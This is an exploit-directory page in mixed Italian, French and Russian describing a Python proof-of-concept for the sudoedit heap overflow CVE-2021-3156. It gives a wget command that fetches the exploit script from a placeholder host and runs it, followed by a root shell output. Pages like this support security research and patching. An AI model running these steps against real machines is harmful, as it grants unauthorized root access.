Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Review.CVE-2021-3156 — Proof-of-concept di exploit in Python per CVE-2021-3156 (Baron Samedit), un heap overflow in sudoedit che consente l'escalation dei privilegi locali a root su build di sudo vulnerabili. | Kitploit
Strumenti/GitHubGitHub/constantinefedorov/review.cve-2021-3156
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingBinary Exploitation
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

Proof-of-concept di exploit in Python per CVE-2021-3156 (Baron Samedit), un heap overflow in sudoedit che consente l'escalation dei privilegi locali a root su build di sudo vulnerabili.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 anno faNon ancora revisionato

👑 CVE-2021-3156 (Baron Samedit) — Escalation de privilèges via un débordement de tas dans sudo

📅 Дата: 2025-06-08
✍️ Автор: @TopskiyPavelQwertyGang 🧠 Chercheur en sécurité | Passionné de Red Team


🧠 Panoramica CVE

  • CVE-ID: CVE-2021-3156
  • Tipo: Heap-based Buffer Overflow
  • Componente: sudoedit (sudo)
  • Livello di accesso: Local
  • Obiettivo: Ottenere privilegi root

🧠 Descrizione

L'heap-overflow in sudoedit consente a un utente locale di ottenere l'accesso root
quando esegue il comando sudoedit con parametri appositamente preparati.

Lo sfruttamento è attivo per le versioni di sudo < 1.9.5p2, incluse le immagini popolari Ubuntu/Debian/CentOS.
Anche con ASLR abilitato la vulnerabilità rimane sfruttabile.


🐾 Condizioni di sfruttamento

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnerabile)
ASLR   : 2 (abilitato)

🧪 Preparazione dell'ambiente

  1. Sono state verificate le versioni di glibc e sudo:
ldd --version
sudo --version
  1. Gli script PoC sono stati trasferiti da un'altra macchina tramite il server HTTP integrato:
python3 -m http.server 80
  1. Sulla macchina di destinazione i PoC vengono scaricati ed eseguiti:
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Sfruttamento riuscito del PoC

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusione

Lo sfruttamento di CVE-2021-3156 rimane possibile anche con ASLR attivo, se glibc ≥ 2.26 e sudo è di una versione vulnerabile.
L'exploit più stabile si è rivelato exploit_nss.py, che funziona al primo tentativo con una corretta configurazione di NSS.

🧨 Sistema sotto controllo.


Scarica lo strumento